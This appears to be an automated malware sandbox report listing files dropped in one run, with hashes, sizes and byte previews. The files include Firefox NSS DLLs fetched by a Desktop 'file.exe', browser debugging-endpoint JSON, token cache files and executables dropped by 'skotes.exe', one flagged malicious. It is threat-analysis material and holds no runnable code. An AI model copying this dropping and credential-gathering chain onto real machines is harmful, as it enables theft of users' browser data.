Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.837984012513137
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxDxl9Il8uS30fXMyOlKkYp9GeOT9cfCd0Bd1rc:myYA30fXMyKKkW9B2ca2i
MD5:	8BE86CC8FE687000C3D2DB47229FEC7A
SHA1:	6A25524C71A0154539F990BF8E4774978F3E7DB5
SHA-256:	BEB30222AA3DF0812310CAAA8CF49DAFBC01EAEEE89D5AE2E7E45D93440A2AC7
SHA-512:	C3FA90B48F73F370C39DD044C4F3CFD0C7CB39F8D0300B7FE3DC1AD3AC0FCE08CCCE914EFFBD331D1AABA6DF0D19C040CB3CAC0E94794AF422E3444BD0516013
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.L.Q.h.q.S.c.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.U.y.9.u.F.h.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.006425735719261
Encrypted:	false
SSDEEP:	96:VYAjOoVI6YQJgGN9JUqz41MOpj+oT2CECDvbtnvXu:VrFVI6YcNj5zbOt2/2xXu
MD5:	49959C585DED803BBB50848058E4E0AE
SHA1:	BF232588F57F4354F1EF7CA51A5A29BB62CE3C17
SHA-256:	27C6F064A97AA32CDEEC66747EB946E7CC1170C32B5BF2196F3BA4C5B1B406E9
SHA-512:	C04F2B95C505538AA05F9E1DD75F70C3AD88B4BF6976B7569E7045D3546F5C7B97435B91ED36D9428ADE0567869D7428DF0A867AAA4CA00C8044E733DD0F6ADC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".c.5.E.2.j.h.8.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.U.y.9.u.F.h.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.89690863504431
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xMxl9Il8uSeUva+PB4XlAlmsfmIl3WwW2+W/mpQbd/vc:a2YAeU9k6lmeFWwu2s
MD5:	D279DC3BA92082D94AC0213E8CB31E1B
SHA1:	5D7A5B33CAF0335125BD34B53F45AA8A56B5A9A4
SHA-256:	83F9AAA1EA634564B92C9A5141DAA1D1E91499284C9C50E6CA5DC46065A1AEE8
SHA-512:	A92F60D07BB3B09B9CF84B708BD340BD408BB0C23CB7FF4060D9C7F8047B4FD80D26A1F931F44473010B382EE984278BB06B2F8A4D0CCA7A3142574ADFABC417
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".X.k.C.0.v.v.B.W.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.U.y.9.u.F.h.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.394020340944886
Encrypted:	false
SSDEEP:	96:6NnQCHQINnQ0xzbQ02NnQg9QFNnQJdgEQMNnQ7iXQ7ENnQwDQkNnQowQgNnQu3Qq:6NnN8NYNg1NiiSENNXNPsN5
MD5:	E2428243B78FB74A9929B549FDF5C0A8
SHA1:	EAD3F7B3516B78C1ED4FF9A57DC792A6C6E008CE
SHA-256:	A33798805FB5CA2F9ACC2B8636D4A9C82666CC737A7D3602A9257DAA7DD92B12
SHA-512:	483E011103BB4558329BC70D37146009FA47EC6BB095BBA7CF8EA3B0777B6E6A9FEF7BBD54243761A5C6C29646BB7EFE1DF86D25D0FC0D52645AD37FD2DC0374
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/90DA3494AC7C2B0A4936B475F5378BE0",.. "id": "90DA3494AC7C2B0A4936B475F5378BE0",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/90DA3494AC7C2B0A4936B475F5378BE0"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9674F7E1FF84F6F6A867E6F797624B5B",.. "id": "9674F7E1FF84F6F6A867E6F797624B5B",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9674F7E1FF84F6F6A867E6F797624B5B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.389596130911222
Encrypted:	false
SSDEEP:	48:SfNaoQtTEQwfNaoQcHQcRfNaoQPBQPWfNaoQY0UrU0U8Qc:6NnQtTEQ8NnQAQANnQPBQP+NnQY0UrUs
MD5:	1425CA3352B1DA06021D0289B4DEBCC3
SHA1:	8D21383576E2765286C12E353955C12575BE962F
SHA-256:	7786C77FA67CAF65CF7F84E3971320817F96F4CC95B7475128DA71A5755A244D
SHA-512:	3DB5736A23962B77B0B2EB3BB831D8C785BE47A1B48C8D55126C9EA0E98BD149124BCAEFCAA5D36498E4F9179FB22C410006B77406CF87EF1D4FB471717B5AB1
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1CCCE46285A64E36192FC3E0673D4FD5",.. "id": "1CCCE46285A64E36192FC3E0673D4FD5",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1CCCE46285A64E36192FC3E0673D4FD5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8892DD73FA1437EFBC503B662A187F74",.. "id": "8892DD73FA1437EFBC503B662A187F74",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8892DD73FA1437EFBC503B662A187F74"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3240960
Entropy (8bit):	6.6064049873332475
Encrypted:	false
SSDEEP:	49152:hYbVPjv1o301KPOr8LQbi1WTuynxBvx+4bmPmV01l7Jd38rHo6Y4N:SD1o2KPOr8LQb2WTuynLJSPJB8Xh
MD5:	03B9E85B193C6271F2999E206AA72387
SHA1:	269750AD93E9EA766348F934720C0E1B56E7A8DC
SHA-256:	DAB1B476F15D7654C295FCCC68147CE309AE110E446D2CA730EEAE4F3F0244FA
SHA-512:	BB6D7E7C9B606233E90D401E7515D98DC742543528081F80E3F9A8064FFEDCBC7F2AADB1965EFCCB76B56ED7ED1378A312BA4A9E79327BF1418E46F28BF3DFEF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....s.1...@.................................W...k.......H....................e1.............................\e1..................................................... . ............................@....rsrc...H...........................@....idata ............................@...cztmcjxa..........................@...vidbrugm.....p1......N1.............@....taggant.0....1.."...R1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\babababa[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34965741
Entropy (8bit):	6.677536966163331
Encrypted:	false
SSDEEP:	393216:d76L6otUitqtH7wHtXq2pt2jbOCacCFIK0fpP9HF4VW8yfGnVQx4urYsANulL7Nv:d0LoCOn+2Gs4urYDNulLBiub
MD5:	8FB77810C61E160A657298815346996E
SHA1:	4268420571BB1A858BC6A9744C0742D6FD738A83
SHA-256:	A0840C581F8F1D606FDC43BC98BD386755433BF1FB36647ECF2165EEA433FF66
SHA-512:	B0D0AEA14BFBB5DFA17536B1669D85FC1325140F6A0176AE1C04870EFA3ADC902D5755F0DF00D305F01120960E95BFC40C37C7519EC2827797EBAA95097CFEB2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......v.@.2...2...2....-.....+...........`..!...`.-.8...`.+.S...T...>...2...,....-.0....+.P.....c..../.%...2./.....'.6......3......3...2..3....,.3...Rich2...........PE..d...B..b.........."......~....-................@..............................=...........`...............................................!...........9.x....,...............;.$... ...p.......................(.......8...............(............................text...@\|.......~.................. ..`.rdata.............................@..@.data...,.-.. ......................@....pdata........,.....................@..@_RDATA........9.....................@..@.rsrc...x....9..,..................@..@.reloc..$.....;.....................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006652001\babababa.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34965741
Entropy (8bit):	6.677536966163331
Encrypted:	false
SSDEEP:	393216:d76L6otUitqtH7wHtXq2pt2jbOCacCFIK0fpP9HF4VW8yfGnVQx4urYsANulL7Nv:d0LoCOn+2Gs4urYDNulLBiub
MD5:	8FB77810C61E160A657298815346996E
SHA1:	4268420571BB1A858BC6A9744C0742D6FD738A83
SHA-256:	A0840C581F8F1D606FDC43BC98BD386755433BF1FB36647ECF2165EEA433FF66
SHA-512:	B0D0AEA14BFBB5DFA17536B1669D85FC1325140F6A0176AE1C04870EFA3ADC902D5755F0DF00D305F01120960E95BFC40C37C7519EC2827797EBAA95097CFEB2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......v.@.2...2...2....-.....+...........`..!...`.-.8...`.+.S...T...>...2...,....-.0....+.P.....c..../.%...2./.....'.6......3......3...2..3....,.3...Rich2...........PE..d...B..b.........."......~....-................@..............................=...........`...............................................!...........9.x....,...............;.$... ...p.......................(.......8...............(............................text...@\|.......~.................. ..`.rdata.............................@..@.data...,.-.. ......................@....pdata........,.....................@..@_RDATA........9.....................@..@.rsrc...x....9..,..................@..@.reloc..$.....;.....................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4a860d47-3735-407a-a1b6-cf17937a91ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\5e3b03c8-49f3-4849-95cb-6a2d46b2ae98.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1536157
Entropy (8bit):	7.9926650536086035
Encrypted:	true
SSDEEP:	24576:zPobNGGdewofIH88irEwZgBFvsCf5kFpRHyrx5FpVGKwdFf3LNayxGx4aSfbIiIs:zPoUcdof/8irl6b0Cf6RSrx5Ned97cyh
MD5:	32BBF053C7DAC9DFEC5215719FCCC0C8
SHA1:	E7E453C2D4D422245EC998D6C2B1472ACEBA4AEE
SHA-256:	99E4AADB86A516A1E7B4BADA7744E45398767F979FEC6C2DF5B64048A86DD5B9
SHA-512:	44667CB839D94A65F2861F71684588DEF02D360C2ABC241F73419042D0B46522D4677E0B1AA00D497FC2CFB8B65D8CEFFDE34E3942F2A0C4C299A0A4556CF41E
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\89c951a8-37b1-4515-bf7d-95f48a89c5f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\8a263194-c3b7-4b5d-968f-9e1dee0fc65d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
